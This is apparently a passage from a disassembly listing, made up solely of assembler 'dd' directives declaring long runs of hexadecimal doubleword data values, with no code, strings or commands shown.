		dd 756F17BAh, 359D68h, 80314BD8h, 0B1F34C8Dh, 0D759A807h
		dd 5AA0FCB5h, 5716E0Eh,	11868A1Dh, 9090D1ADh, 1C9D817h
		dd 1F786F2Eh, 5ED46000h, 261084FBh, 9CF1F27h, 3D050E19h
		dd 0CD08001Dh, 1B4C9F69h, 57E67D1Dh, 940E45C0h,	0BAC33B55h
		dd 0CA5901BCh, 0FF7E3F2Bh, 470BAABh, 14D8B347h,	9A7A7180h
		dd 5CFE2EA5h, 88750D70h, 0CD4E028h, 0C3AF5803h,	0A14E5927h
		dd 0DA70FDFBh, 83D83B0Dh, 38FE8800h, 2E4A7DBEh,	9C525503h
		dd 0B8C6FC92h, 26FB99h,	0E40434ADh, 4FFF51D1h, 0F6009470h
		dd 12661B39h, 6001B5h, 0DF3886D2h, 117422E1h, 4D633F00h
		dd 84FFD5E5h, 88C0017h,	1ACE0272h, 6B03C415h, 0A3704EDBh
		dd 0E13DB90Dh, 37F2EFC4h, 80E02C8Ch, 0E99AB9CAh, 1D0004F0h
		dd 7A490ADAh, 69AD8Fh, 0D338A629h, 3DF8B489h, 7867E012h
		dd 3B4B8A03h, 0AF49E8ABh, 2AA00053h, 168071FDh,	830991F5h
		dd 80C6DB78h, 0DC7D6902h, 542E0163h, 8246EE34h,	80B8CDC9h
		dd 1D2CC420h, 0A7EC2F1Bh, 545A0220h, 9A103715h,	4D3005BCh
		dd 7C49F5Dh, 81CDBEA6h,	0F856ADB2h, 0ED03AF69h,	308E5704h
		dd 0A14916F7h, 3B3800C0h, 0D69F8754h, 0F90046F0h, 0BAE4ABFCh
		dd 1E8229BDh, 0A016B4h,	0F7732B1h, 0A7489D4Dh, 0A9601204h
		dd 76C54040h, 1FB8FD96h, 838187AEh, 0AC1756DBh,	0ECF10397h
		dd 0F8D83Fh, 0DD300235h, 2894A884h, 51A48B44h, 3050E53Bh
		dd 60214D3Fh, 8390981Ch, 0B63D2A08h, 8B5780ADh,	0AF75460h
		dd 351B30E2h, 10C24B8h,	9140A90Ah, 4405EEFBh, 8060BDA2h
		dd 8E4B5E2h, 2E3E05E0h,	0BEF2BB7Bh, 51F0C0A8h, 0B3F8EEE2h
		dd 1972581Eh, 12AB28B0h, 5D6C191h, 0E41A3ADDh, 47007868h
		dd 6B262E48h, 0FBD819h,	0D14DFEAAh, 53B48420h, 5DDBF700h
		dd 0C8EC2E04h, 181300C4h, 0BAA01715h, 0DE0EF8B2h, 34714420h
		dd 3C3AE020h, 30A38657h, 0F67E06E8h, 0ADF0F090h, 1D62A502h
		dd 809C6558h, 0B8B625CCh, 90420720h, 0EC2DB0D4h, 80287018h
		dd 1801DCDDh, 4059DBC5h, 25E03D3Fh, 0EBF20990h,	4602CD7h
		dd 2A0E0D56h, 0E143CA21h, 0D2FCAF7Ah, 19C00C31h, 0E0C4B054h
		dd 7FD600B8h, 1AFF560h,	0A6027550h, 0BE7993BDh,	892FC02Eh
		dd 0B86E0732h, 0D01412A8h, 516A30AAh, 0A6FA5700h, 1DBB4C27h
		dd 0B4CF177Eh, 9A7409FBh, 57E0082Fh, 77328A8h, 0C4EF2400h
		dd 0E910B7D3h, 63EE03BCh, 45663750h, 2D7E20D0h,	0F1576400h
		dd 0CE05191Eh, 0F43C1CFDh, 1B003EAAh, 872A2FA5h, 9D0069DCh
		dd 3F826CD4h, 1F18290Ch, 80577ECDh, 0A804680Ah,	0E8C1D61Ch
		dd 2450F7C8h, 7696020h,	0CB48AFDFh, 0A76820B7h,	6CEC64E6h
		dd 3EA9C0Fh, 6B3A2292h,	8F8C8257h, 2A726069h, 0B8E40002h
		dd 25E3CF30h, 1500872Ch, 93194186h, 706CAAD9h, 0C3970171h
		dd 0E6F07F72h, 20BB08h,	886007D5h, 3602F3h, 64E768C8h
		dd 87171A4Eh, 86002D74h, 0B08F4519h, 12B46A4h, 24ECA563h
		dd 606D518Eh, 3C0E3382h, 8344C492h, 0E0E9601Ah,	28707EFh
		dd 0EE55B649h, 0E5601882h, 0F0E72D5Eh, 0BC00B1FDh, 0CBA27DFBh
		dd 1FF30Ch, 0C4C0FC90h,	0DB7EFAD1h, 0FD40FF50h,	42B5E700h
		dd 0D2AABCA8h, 8D630078h, 0DCC7BE9Dh, 0A90CF325h, 31DEF543h
		dd 0D9E70701h, 70C52E84h, 315B59C1h, 1500D0FAh,	28BC9B8Ch
		dd 74F230h, 1FC16F14h, 418ADECFh, 76B13C00h, 862146ABh
		dd 607C78FAh, 0F26C188Bh, 77803540h, 0FE890310h, 2AC103B8h
		dd 32E55188h, 0C8117A01h, 0FF42B6FAh, 0D0C7B040h, 485B00A9h
		dd 0F713F92Bh, 34E8F3A7h, 0E7D830A3h, 542974E3h, 300A0D3h
		dd 0DDF0F3B0h, 58FA0045h, 5E17D4Ah, 0A81FE21Eh,	0AC18739h
		dd 4D54C699h, 7C9BDBE0h, 0B6EA2BA7h, 0FE07F604h, 5D5A5CE7h
		dd 7F7A1600h, 0CF860092h, 0F04A7C0h, 0AB0B9A47h, 0CBFB6F3h
		dd 0D2B873h, 0D87E8EE5h, 96B778EAh, 828FC67Ch, 0F3AA7FF7h
		dd 0EFE49715h, 99A22E00h, 5A73F869h, 8B2C0BBh, 9601055Dh
		dd 150E9B11h, 19817441h, 3F386B1Dh, 2FF7F092h, 1E792884h
		dd 47972118h, 2F0B9104h, 21275644h, 0C401955h, 8882D198h
		dd 30A01889h, 8B44EBC6h, 0C6A50EDh, 18CE5070h, 3C095021h
		dd 18EF50B7h, 8EA6187Dh, 0D3131810h, 526518A1h,	30A3C20Ch
		dd 18468C99h, 0EEBD8524h, 624D0C08h, 6C805854h,	0DE60301h
		dd 0FEC318C5h, 0A8C5180Ah, 115AD062h, 430C5171h, 0B518410Bh
		dd 0A61E080Fh, 0C0697EC0h, 0F2FF7118h, 0A040397Ch, 0AD341010h
		dd 9B061013h, 1375484h,	173C4EEFh, 48304DFCh, 6D000036h
		dd 0CD847F58h, 0A80EE051h, 0C0674A79h, 115E8B4h, 9E49000Eh
		dd 1AAB97B2h, 680048D6h, 14E1BCC2h, 0AA7B196h, 1C075D80h
		dd 187187B0h, 2D43AA6h,	0A0DE35Bh, 834B2840h, 0AA132900h
		dd 9E355C2Fh, 0FE570616h, 0A1026AC9h, 0A64C1801h, 95B704B6h
		dd 3E2B8420h, 88E09F32h, 0D8BCA5E0h, 9273A8C0h,	3C5D17h
		dd 9BCE88B6h, 0F972DB2Ah, 1C8F7C90h, 0DEF79D80h, 24CD8DFFh
		dd 8E2C76B2h, 7F409C22h, 7879F31Dh, 50C96976h, 0F6D301E3h
		dd 7BC86441h, 0A58C022h, 0B4DF118Eh, 25C9A4A0h,	8134893Eh
		dd 85D18C80h, 0D99EFE68h, 0E3790386h, 501DEC51h, 620235C1h
		dd 0A080B7A1h, 0BFA7C814h, 351E1451h, 7F033432h, 8469098Ch
		dd 0F88671A1h, 4B3DAD8Eh, 0A86000E4h, 0EEB36662h, 0C4EA0FD7h
		dd 0DFED01h, 51AA2911h,	423A0FA2h, 0BE5381EFh, 9B834870h
		dd 0C1B3F3FCh, 34A0CAB8h, 0E49C3065h, 0F4EB2601h, 0C6BB724h
		dd 0D83C63DEh, 1FA86638h, 407A6E3Bh, 4B9447B8h,	647C1CD4h
		dd 0D8A3DF0Ch, 6269D089h, 685805Dh, 5515021Ch, 0DD2620D7h
		dd 0DCD6C880h, 8203F3ACh, 9928879Fh, 4F3AC072h,	0CCE81517h
		dd 7503C071h, 0F4F1762Ch, 6EB1009h, 0DF6080A2h,	98D8FE4Ah
		dd 0B7A90E88h, 0AEC079D6h, 0DD525CBCh, 6B00987Ch, 0FAC3CAE4h
		dd 4C5A3DD3h, 0DF0C8CB2h, 6B38D7F6h, 9E24E17Ch,	170068E9h
		dd 63B03F57h, 6230C4CCh, 42AB45A7h, 0CBCA8470h,	6571E6FFh
		dd 0C1D491DEh, 0FCC3D0DFh, 0EF490223h, 0E66600B4h, 0FFA195ECh
		dd 76BCA0A3h, 27C9168h,	0EC4A7E9Bh, 5A6A9440h, 3A95BE09h
		dd 67320FB1h, 0AAC17B8Dh, 482201A5h, 5211037Ch,	1EB64340h
		dd 0F15BA130h, 0C09464A9h, 42B9A240h, 30049B8h,	2945E371h
		dd 0FE20C680h, 0D1DAA082h, 0D025C4Ah, 1CD58500h, 0E3A879F8h
		dd 0E863B303h, 0B972AEE6h, 788075C4h, 4237F6E5h, 8600792Ah
		dd 0D68EF587h, 14D99883h, 50BBBD85h, 90F212h, 1ACDB098h
		dd 8996A8Bh, 5239C08h, 81EA488Ch, 200D1837h, 0DA775174h
		dd 0A64EF48h, 94E1DBFEh, 0E870170Ch, 0D01350A2h, 604EFADFh
		dd 0F451B0CFh, 7B57AC4Bh, 48A70430h, 0AC7172EBh, 0B7D440A6h
		dd 1C98975Bh, 2126A77Dh, 0E3401002h, 494AA83h, 500FAEC4h
		dd 62488074h, 871F807Eh, 0EB53233Dh, 2C069C00h,	0EC832Dh
		dd 0A6D6D202h
		dd 7B409BCCh, 3F52240h,	6F3B0D51h, 40C66234h, 0CDA89550h
		dd 0DF08E0B2h, 0D3E9F0h, 5BD5CB6Dh, 6A0171D4h, 0B4D9F99Eh
		dd 64DECAB3h, 0C580010h, 9932595h, 34984D79h, 0DA9DED00h
		dd 0EA924248h, 3D1100CFh, 9E7D27E6h, 3E02F6CCh,	8D2B1910h
		dd 48C65A9h, 40C35B5Dh,	0A18EF10Ah, 93F3E2C0h, 30F98050h
		dd 1D90CB53h, 0C0587E4Ch, 8DCD113Ah, 0CA830005h, 0BD7FEBC8h
		dd 0CB008ED3h, 0F3073B52h, 0C0D1D6D7h, 0B82C47F0h, 3E00031Ch
		dd 0F67B7228h, 72E5E27Ah, 6688A271h, 472C0048h,	0C1E4376Bh
		dd 44124AACh, 84069A3Ah, 62EA5EA7h, 0FACE70C9h,	0D310A844h
		dd 180E3413h, 10EDABEEh, 1CA2FCE8h, 1DE2EB19h, 55DC1E10h
		dd 0E0250026h, 0D14BA940h, 0BC5D4EA5h, 0DFD20998h, 61082E07h
		dd 32E929E4h, 1F9E860h,	0D12E97B1h, 40AD6BD0h, 0DD12B718h
		dd 1647380h, 0D842938h,	31F9BB42h, 1C3448CAh, 0D78120h
		dd 429A9675h, 0A58B5F5Ch, 80A9C228h, 556DE00h, 13D165D5h
		dd 6BFB1202h, 3160805Dh, 86183EBAh, 1211D8BFh, 0D1B4F02Fh
		dd 4F080888h, 0E540B199h, 19B7173h, 21D7AC76h, 0D0FDE35Eh
		dd 1A2CBE96h, 0A02046ECh, 0C42D870Eh, 0EE00B2D1h, 0BBA8F9DBh
		dd 85AB0703h, 50B52BB3h, 658FF8C5h, 3E211E09h, 1284E3Bh
		dd 7E2C27A1h, 20CD1666h, 0C30BC438h, 0A72DBD9Eh, 8C75A188h
		dd 1F62E400h, 0C0689051h, 0C028AA41h, 7F02721Bh, 56E404CEh
		dd 588CE877h, 0E8913B64h, 19AF383h, 5EA0F28Ch, 40FEC49Dh
		dd 20EC2224h, 2E888CE1h, 440EC852h, 0C5ED0A04h,	80C8836Bh
		dd 492B802h, 9802125Ch,	0EA3DB147h, 910C43BAh, 5C243ECDh
		dd 22BF0039h, 746ACB54h, 51DE12C3h, 33874240h, 0F65AD102h
		dd 0F28E1B64h, 57A8102Ch, 0EF02E598h, 34BD1E35h, 0B030904Bh
		dd 15D09488h, 0E6004874h, 0B3097A94h, 0F5E60E5Eh, 1890A57Eh
		dd 95ED948h, 8BF0FE8Dh,	49E89640h, 0A52BDC0Eh, 846DB0Ch
		dd 7C858330h, 7B4F99F8h, 0BB094828h, 84418FE9h,	9F11E657h
		dd 219052E6h, 330A487Eh, 46130CAFh, 0B190518h, 0B9218499h
		dd 98AF0851h, 6E09D241h, 40E32711h, 78F4B63Ch, 0A3E21B88h
		dd 75A4A70Ch, 5A41345h,	0AA68424h, 8A30B70Ch, 0A0CA90Dh
		dd 824DDEBh, 0F45A7A2h,	0C21B3045h, 0AE233C06h,	48EF1348h
		dd 9B7E04C5h, 1074DE80h, 46095B68h, 3810100Ch, 0C5002107h
		dd 8AE53201h, 60E7FAA5h, 94C392Dh, 0F62631B0h, 0E2807CCAh
		dd 0E308DEF1h, 0EC20EF3h, 92A0F514h, 522A6759h,	24C5A700h
		dd 0E7DA1E19h, 0C0100EF9h, 9881F21Ch, 24A58FB7h, 2E00FFDCh
		dd 657B7320h, 293711C8h, 74C4075h, 0B95D4150h, 0FE725804h
		dd 4709080h, 90E7304Ah,	8476A8EAh, 710A1700h, 0BBD14CE2h
		dd 7D609052h, 73340B4Eh, 0F58189EDh, 0C246D8D6h, 9FD0C863h
		dd 0F315E46Fh, 0C41C7298h, 0A53C6D7Ah, 660AB91Dh, 0F3419D04h
		dd 2AB570D0h, 0C65F2996h, 502850C0h, 1A44280h, 9E6691BFh
		dd 642D51CBh, 0E950B698h, 1100E697h, 9F3C7570h,	1DFDD3B0h
		dd 867EDDF1h, 0B0E44BC9h, 0E15C4CF9h, 2C745507h, 133C530h
		dd 7544C86Dh, 0A2670284h, 89E59283h, 0B1DBD260h, 67B071FCh
		dd 5F0F6890h, 22857AEDh, 64AA7E8Eh, 0AB8128A4h,	2F7003C1h
		dd 0F1EDE9C5h, 40DB46B9h, 81C4B814h, 0CF0001E4h, 3278702Bh
		dd 29FDD022h, 785890E9h, 0F721945Ch, 3E9AF8D3h,	0B94CA5h
		dd 0BE021444h, 1FC279Bh, 0B219705Bh, 47B9D589h,	0A807BBB4h
		dd 0D191B486h, 24FA3C38h, 0E501733Ch, 0AB1842ACh, 2080D69Dh
		dd 0A1B21E27h, 6500A4CCh, 20C91292h, 2E93F1C7h,	121CF675h
		dd 0AB7431BDh, 66800E65h, 31CC6B02h, 0AE93331Eh, 9140CDC0h
		dd 0B0342F3Eh, 0E336127Ch, 0FDCC04D6h, 0E7405D7h, 0CCC0CC97h
		dd 12750FF5h, 0A8DCB1h,	1FD9A138h, 7E02F80Bh, 0E755BEB9h
		dd 0C1AC9541h, 0EC5B913Fh, 0CC392587h, 0E4C5125Eh, 2441942Ch
		dd 0E9D480B8h, 36D92502h, 0CE8544BFh, 0C4C83603h, 6F860228h
		dd 7DAED75Dh, 7E00E845h, 13E9C769h, 91E0BFh, 4B9CBCEEh
		dd 25AB406Ah, 0D36C4F21h, 0DC47A9AAh, 3AB44380h, 7811B4Ah
		dd 8C62A039h, 0D788DBE7h, 35755084h, 886CAB0Eh,	0E4AA2040h
		dd 763A35Ah, 6CE57F5h, 0D8553086h, 0A87176CFh, 0B9251217h
		dd 0D7904E0Eh, 0B13E6400h, 7CC6E0FDh, 0E8C8BA55h, 167600CDh
		dd 0FBCB1A8Fh, 18F2A2EAh, 2E405005h, 0D020D7A6h, 7A6FA9C7h
		dd 729F02EBh, 0ECFB6119h, 0FB706445h, 8D34C80h,	0C05F68CEh
		dd 3A101FA2h, 58B0B6E9h, 0A086C501h, 0E1EF5B9Eh, 91AC8E30h
		dd 98045E0Ch, 0AEBAD16Fh, 0C45CECC1h, 40014408h, 257EF0C5h
		dd 8C20C88Eh, 58FCA566h, 695A25C9h, 37674E80h, 0F4A489h
		dd 0E777C51Ah, 0AFB5536h, 698180A5h, 70C2B820h,	30A02867h
		dd 0E02C2F98h, 205AE841h, 0A20A4E90h, 0FECC2F5Bh, 7555800h
		dd 664AC3F3h, 0E60F041Eh, 0C8613F2h, 114D7D10h,	3F3C01Ah
		dd 0BE78051Eh, 0D63106D8h, 417F7DFBh, 823C2C27h, 0C0210BE8h
		dd 17CB41FCh, 40B22D3Fh, 5C7389D4h, 8896277Dh, 0F442C707h
		dd 6896F8C2h, 522B58h, 0C527CB63h, 9A195CDFh, 0E405D8C0h
		dd 0A4A7C929h, 2BCB019Ch, 0C78411DBh, 480030EBh, 0AFBE00B7h
		dd 5C30377Ah, 0FA0ED820h, 1B645CDEh, 91009025h,	0F6302B46h
		dd 410EE9AFh, 48850007h, 0A05C6C67h, 0D018728h,	173769A2h
		dd 0E4508BEAh, 4B55B870h, 39740178h, 23F9F66Dh,	6A840090h
		dd 75F3C1B9h, 962403E3h, 2729FB40h, 0E2AB63F7h,	6AA85580h
		dd 64B6DFE4h, 0F1318185h, 0CD920B0h, 5AA68AFCh,	3A03B630h
		dd 88B93BDAh, 993CC861h, 37E3EEA7h, 801E17F8h, 7B39C676h
		dd 61F3F003h, 762A88C3h, 0F5360106h, 2C79A9B9h,	7D184AF9h
		dd 60E86F5Ch, 0E33E5631h, 419900A8h, 0B439A9C0h, 1CAE1ABCh
		dd 759CCA24h, 0F638E13Fh, 8846980Eh, 41F92941h,	0CC386038h
		dd 93EC249Dh, 0F9166116h, 0AB795402h, 66CB49Ah,	0F5BA225Dh
		dd 108E38EAh, 52329408h, 5AD68C04h, 44E3F958h, 0D9483D80h
		dd 931FF03Fh, 9641C8DFh, 0B5AA897Eh, 0DA037C4Bh, 56C72F1h
		dd 0DC966800h, 499A9C3h, 2460AD9Bh, 0ECB7021Ah,	0CC859011h
		dd 44103037h, 0ED20AE4Fh, 365628E0h, 9DDC8DF4h,	0DA0ABE23h
		dd 10C09260h, 0D791A18h, 6DC3608h, 606A7ED4h, 163B38B7h
		dd 0A7F1E10h, 1485DE0Ah, 0D9070B80h, 0A191330Ch, 58A325B8h
		dd 6C0169A4h, 8ADC6223h, 8846D6C0h, 14CF19F8h, 0A402FCA7h
		dd 6582007Dh, 95CEA89h,	9A14B9A2h, 0F064A8DFh, 209F16E2h
		dd 9618F5B7h, 377089DEh, 526AEA6Dh, 0A7C33C17h,	229D8102h
		dd 58422DC4h, 9A0A541Eh, 0F85F7D13h, 905D5680h,	9DB19A7h
		dd 0D6D9A84Dh, 0D8D4A488h, 0C1739AA3h, 4935420h, 99A2F8CFh
		dd 42788740h, 0D8869F24h, 0BAF8C0E9h, 0B8827CADh, 2312092Eh
		dd 0A2D80416h, 0D0AF2379h, 0FD5A9787h, 0A0918094h, 688C4C6Fh
		dd 0BA084F94h, 6098CA63h, 0DC5015F9h, 0E4E08CE2h, 0E57FF6D2h
		dd 49D688C4h, 0EC221907h, 40639140h, 0E0410350h, 0C5C80A59h
		dd 1DF55418h, 8ED58F0h,	0EF80F4C9h, 92EE800Eh, 0CBADE4A0h
		dd 35DC10CEh, 46E9E0B0h, 90644DBFh, 0F76E307Dh,	3AA47A38h
		dd 0ABF9FB1Dh, 0E88DBB0Ch, 180267D9h, 0B9F06CDBh, 3130BEEFh
		dd 905908C3h, 0EDD39900h, 0C307CE81h, 3019FE13h, 78080691h
		dd 4C39288Ch, 10C5E2A9h, 840648F9h, 3159C9D9h, 53F8F280h
		dd 70208C09h, 0B41C08DEh
		dd 91818BCh, 0E09095E7h, 49AED820h, 0E1910F2h, 2020089Bh
		dd 1061593Ch, 9E267908h, 0BE8B109Fh, 191ED918h,	40DD89DFh
		dd 2359F0F0h, 0BFA0A15Dh, 74FCF853h, 0B80E61F8h, 1C825F9h
		dd 1898C59Ah, 9619089Dh, 3379F8C2h, 218083D7h, 0C02018D5h
		dd 0D1C408E8h, 4D63B580h, 8CB0987Fh, 0EE104C8Fh, 0C118AE90h
		dd 0B21A70EFh, 0D23B3A15h, 0ED918D4h, 4962F278h, 0A2B0E07Fh
		dd 9F728CD6h, 5110AE40h, 0BCE4EC84h, 3C1914A9h,	481D80A7h
		dd 15337CA0h, 9CA2F910h, 85EC5D02h, 0E4F0DFECh,	104163EEh
		dd 0E82840A0h, 1924902Fh, 31985CE4h, 64687938h,	0C030B8C4h
		dd 0FBD32A98h, 120150A5h, 0ED91CCFAh, 93101834h, 0B004E0CCh
		dd 0A2599B4Fh, 93D81BA4h, 7C9F84A8h, 31E3E206h,	164C394Bh
		dd 996A0E0h, 896562EDh,	848745B6h, 81EB5499h, 98DE074Ch
		dd 56F104E8h, 2E08C6FFh, 0E44820FBh, 2899004Ch,	0DD2A896Ch
		dd 4A0AE8B8h, 0D42C1EB1h, 0C2198C8Ch, 34E8B094h, 0AC92FF60h
		dd 0A0291A62h, 0F48CF9Ah, 2F6CACCBh, 1A55D6C9h,	41E9F9E8h
		dd 275C01CCh, 597E8008h, 0B2F1E98Fh, 84E8B024h,	7A3E0410h
		dd 908EC32Dh, 33A00540h, 0D6123B19h, 0BCEE3EF0h, 163802E8h
		dd 0A9ABD431h, 0C72B3840h, 594A890Ch, 98C6E840h, 905EE8E0h
		dd 2FEA2984h, 18BDE0D8h, 2F2461B9h, 64120C9Dh, 0C6B9C7Ch
		dd 8A6AA4E0h, 0BF0AF678h, 8849CD26h, 15360654h,	0F09446DEh
		dd 9021601h, 8F4CA88h, 47F10AD0h, 3429825Ch, 1C73C303h
		dd 49CB678h, 806AAB96h,	0B7CBCACCh, 0BAAA8809h,	0F69CAE06h
		dd 718DF478h, 919C66A2h, 0AA0A89D6h, 98896F03h,	3716B4D8h
		dd 0D0895B6Eh, 2A881E09h, 0D06FE92Eh, 2C2E18F0h, 2C2495D6h
		dd 0C4FE01D0h, 70994A7Fh, 0DB2E8AECh, 9DF0106Fh, 0EE15081Ch
		dd 0E81A925Ah, 0B983630h, 10784B3Fh, 0FE568425h, 2FB6FC1h
		dd 0B0A788Ah, 986A0AC0h, 9C7094E0h, 463BF912h, 10C90FACh
		dd 0C288E657h, 41B9D09Eh, 8208DB7h, 7530FAFBh, 0DD49C036h
		dd 0B2C9CD12h, 0EA941950h, 1B2450BAh, 0BE12DC77h, 0CD79F805h
		dd 9B2A07Ch, 7A4A0928h,	6D27D040h, 4AC03893h, 48E65A3Dh
		dd 0B601E0BDh, 6A8622A7h, 0AA0886ADh, 280BFB4h,	5B33A957h
		dd 404F63EDh, 0EA8FE201h, 8348BCBh, 8D2B0547h, 81EB1109h
		dd 20BD3778h, 5D4996C0h, 982AE3B8h, 0A3AE9BE6h,	3E5BE8CCh
		dd 0EEE9148Dh, 0E338D046h, 5A7B2B00h, 139B33A7h, 0FCF1EF7Ch
		dd 5F834E2h, 0BB2B0D0Bh, 790402CDh, 0B9A0C08Bh,	46EB40A1h
		dd 0C050C283h, 0B8E7D998h, 1019339Ch, 10080F19h, 28F32139h
		dd 4E10CB9Eh, 0BB70D8A2h, 9353F884h, 100C7548h,	0E8AE6E2Ah
		dd 2684B8B9h, 6A00939h,	18937479h, 0C386B4Ch, 90DC8BF9h
		dd 28E0BA8Ch, 3F85722h,	7B3AAAB3h, 4013A055h, 0D01EA6DCh
		dd 19C6814h, 0B9A9BDE5h, 589894CCh, 919379AEh, 98E450CEh
		dd 9B629D30h, 1E98C350h, 30C892A2h, 80483896h, 2A200274h
		dd 8062498Dh, 3FAEAFCh,	0BADB1D2Bh, 0FB3B0AFDh,	3EBB1CC0h
		dd 0E1832340h, 0C1FF309Bh, 5C708704h, 0D998A08Fh, 0F9D4B2B7h
		dd 0B0335874h, 0A990154h, 2E29CD11h, 1CD8A66Bh,	965416BEh
		dd 0D8559C0Ch, 5150636Ah, 0E82EC509h, 0F6941010h, 0B9914A0h
		dd 50CA128Ch, 0DF6CA4F0h, 0FEA1630h, 0F2AF960h,	98D438D8h
		dd 0E06093FEh, 7789FFD8h, 3336C340h, 0FA606AE9h, 140B092Ch
		dd 0A1322EF8h, 0F42097AFh, 0ADE20356h, 205D6B95h, 1438A9C8h
		dd 0A851F8CCh, 0AC8C7DF9h, 0DDEF28D4h, 98172980h, 0FD7D022Ch
		dd 34E4275Bh, 38CA9231h, 8837773Dh, 1DFE5980h, 1680EE86h
		dd 12EC90C1h, 7212F0Ah,	0F320E3F0h, 8DC88ECAh, 649A9BC9h
		dd 0B8C0E626h, 0FC1E7312h, 4FF07DD1h, 715C01AAh, 3988558h
		dd 6125980Eh, 602F4A88h, 9719C5Eh, 0C01A70C2h, 0D2D51CA4h
		dd 0A850A1C0h, 12B028EDh, 0D404EDEEh, 709E588Ah, 0FC9B0507h
		dd 0C09084F1h, 95881A20h, 8A09AB1Dh, 171B2B00h,	0ADA82A86h
		dd 896D9D24h, 0BC60DC2Fh, 0A14A5696h, 4CE086Ch,	0D8EE5824h
		dd 0EC20829Fh, 9681A0EFh, 0D1E0EC17h, 0AA56308Ah, 4237D830h
		dd 91D27830h, 0B37EA6F6h, 50F8C070h, 0F740E665h, 0AFC50016h
		dd 55AAD9A7h, 733A2B96h, 0E86B004Ch, 0D7898D24h, 48E9E2CDh
		dd 490F08A3h, 3E3D1766h, 9D464A4h, 0E002096Bh, 78CF7E9Bh
		dd 561B0C3Eh, 73B6D974h, 0DB3B0B22h, 6880849Ch,	298D2C7Fh
		dd 1035172Ch, 8FE84309h, 87EFE92Ch, 0F88A6194h,	0C980A618h
		dd 1348987Eh, 0BD80F8Ah, 384012ECh, 90C90E02h, 1C9CA7A8h
		dd 13B835Eh, 0A3E81398h, 0C788028Dh, 2368979h, 0A9C1C2DBh
		dd 4043A73Dh, 80ACE057h, 0BBBD732Ah, 15C9457h, 79A9C3AAh
		dd 0C8BCCA8Dh, 9851A405h, 8C04EBEFh, 68D7A296h,	598CFD4Fh
		dd 2819D895h, 48B8B93Fh, 0CA3BA027h, 10C99AEh, 8B965FEBh
		dd 9D541CFh, 0E9D83027h, 904CC428h, 18F4E75Dh, 0C910BE3Eh
		dd 5B2B0F34h, 31F659Bh,	99A7A9C0h, 0B1E48390h, 8D22703h
		dd 73D44090h, 10057808h, 0FFF830h, 0D001911Ch, 0E1F6CDAh
		dd 71FDA3A5h, 109DA621h, 9A7FE441h, 8797AA00h, 0A377736Ch
		dd 5AF03BC7h, 29651F02h, 18B870C0h, 8107D41Ch, 0C794938Bh
		dd 8EEFED0h, 9D351DF0h,	0C3280A01h, 9E80531Ch, 9940E718h
		dd 9F4B29B0h, 8D9B0010h, 9668F2DBh, 2BD0C71Eh, 3710FEC0h
		dd 52B0018Ch, 74C060CDh, 3D1101CBh, 0C44C7080h,	3CA03030h
		dd 110B5C67h, 10730218h, 0F20165FCh, 8ECE6171h,	184CABF1h
		dd 1B213AE5h, 8ECD037Bh, 0CEE00D11h, 4C35EFA7h,	0C731D4A0h
		dd 0CC90DC00h, 0E1F6B18Eh, 665101CEh, 6F700195h, 31C4AFCh
		dd 8C35A49Fh, 0D1900042h, 11CDAB29h, 6CAD94F0h,	2D297C00h
		dd 9D5EFF7h, 0C9BF718Eh, 0BE660402h, 0F09F0040h, 0D449E468h
		dd 2AD418F0h, 88D947h, 8E26491h, 2966F810h, 7CA5052Bh
		dd 5C832360h, 405F6053h, 0CD9F2F31h, 9DB5D114h,	82AD807Ch
		dd 0C2CC4528h, 33F51D49h, 7EB608A0h, 3F29E529h,	4A4034FFh
		dd 672FDE4Ch, 8251F0F0h, 90B602E6h, 0E6221F05h,	0C801AB11h
		dd 0FFC63EF1h, 0EA01845Bh, 1DBAADB4h, 14FC40D4h, 0F8D402E3h
		dd 98F7BC2Ch, 2A250265h, 8850C7ADh, 20A3904Fh, 0C6114800h
		dd 90957D6Eh, 10990088h, 0DFC431E5h, 290351D5h,	0AB500196h
		dd 8B083AA3h, 0F580CCD7h, 8EF3C1F4h, 7028C090h,	0B0128045h
		dd 48789EB3h, 99A000BBh, 0C7BD01D3h, 0CB040990h, 961F5008h
		dd 3A003178h, 97E606E9h, 62DB30C7h, 961C700Ah, 0E35884BCh
		dd 1CCF1837h, 3A4A5070h, 1020FF05h, 768E7087h, 4072C456h
		dd 972364D0h, 0A9901501h, 0D7A07096h, 0B96FF612h, 981BA671h
		dd 0A0B72B68h, 36384070h, 3A26810Ch, 0B0968B2h,	52B8829Bh
		dd 270B49Eh, 0B7EDC92Eh, 0EC80A19Eh, 1001AD50h,	7098782Bh
		dd 0C2B71947h, 288134B4h, 0FC477270h, 0E07C8745h, 4046040Eh
		dd 9AC268Ah, 100C8131h,	99D3F770h, 0E841FC20h, 11E98E1h
		dd 572960EDh, 9701A1A9h, 0F6B89094h, 2D67843h, 705574Fh
		dd 0C0EFE8A4h, 95A590D0h, 99E608C5h, 0AB37C68h,	2DAE4DC8h
		dd 66224B4h, 0CC50FE8Bh, 6D017C8Dh, 20096C8Ah, 0AD5EC53h
		dd 99D4D038h, 34DFD074h, 6833B18h, 6F2B038h, 0B71002BAh
		dd 7020F09Ch, 99F42BAAh, 0C163447Ch, 414FA837h,	365D0D8h
		dd 56F18E10h, 76C37CFAh, 0B5BFDFA7h, 0D6F809A2h, 0C550C487h
		dd 5D7C68B2h, 132891FEh
		dd 90019831h, 0D0FFBC50h, 7C5A9B2Fh, 92347A03h,	0B00033FCh
		dd 8125730h, 0AD9B38B0h, 0A3D0174h, 203F38C4h, 700250BCh
		dd 28D008CCh, 470B49Bh,	5B545C28h, 0BD8915Ah, 9238BE47h
		dd 4F13FE89h, 99F56045h, 5607868h, 46AB5969h, 76F406A0h
		dd 0D02838EDh, 0DA5798CEh, 0B490C0F8h, 414C650Ch, 70C8D5ADh
		dd 91474E68h, 5CF53DC7h, 0CC72D0F9h, 3E6378C9h,	0C6771CE4h
		dd 0BD1D88F6h, 1038B018h, 0E0E49389h, 96D6B572h, 20A36E20h
		dd 0F9EECE8Ah, 911DE8C4h, 0AE151B78h, 1BB8F7ECh, 46789630h
		dd 0AFC17438h, 10528E6Fh, 0CD11650h, 0D0EDC35Bh, 0D4787908h
		dd 58250302h, 0FF68364h, 36296D80h, 33403523h, 15B7C1Ch
		dd 63800CE3h, 802E4703h, 0CD0F5418h, 5C2F4EE2h,	880004ADh
		dd 7F851AEDh, 2100339Eh, 26252432h, 6E435BD6h, 6A8C783Bh
		dd 6C628310h, 1EF7E348h, 0BB1FF498h, 13924E6h, 5BD74B45h
		dd 1FB1563h, 645E4608h,	881B5223h, 759D8C8h, 43362AA3h
		dd 73A74AF9h, 8291CC1h,	8F603429h, 404055E0h, 6B00E51Fh
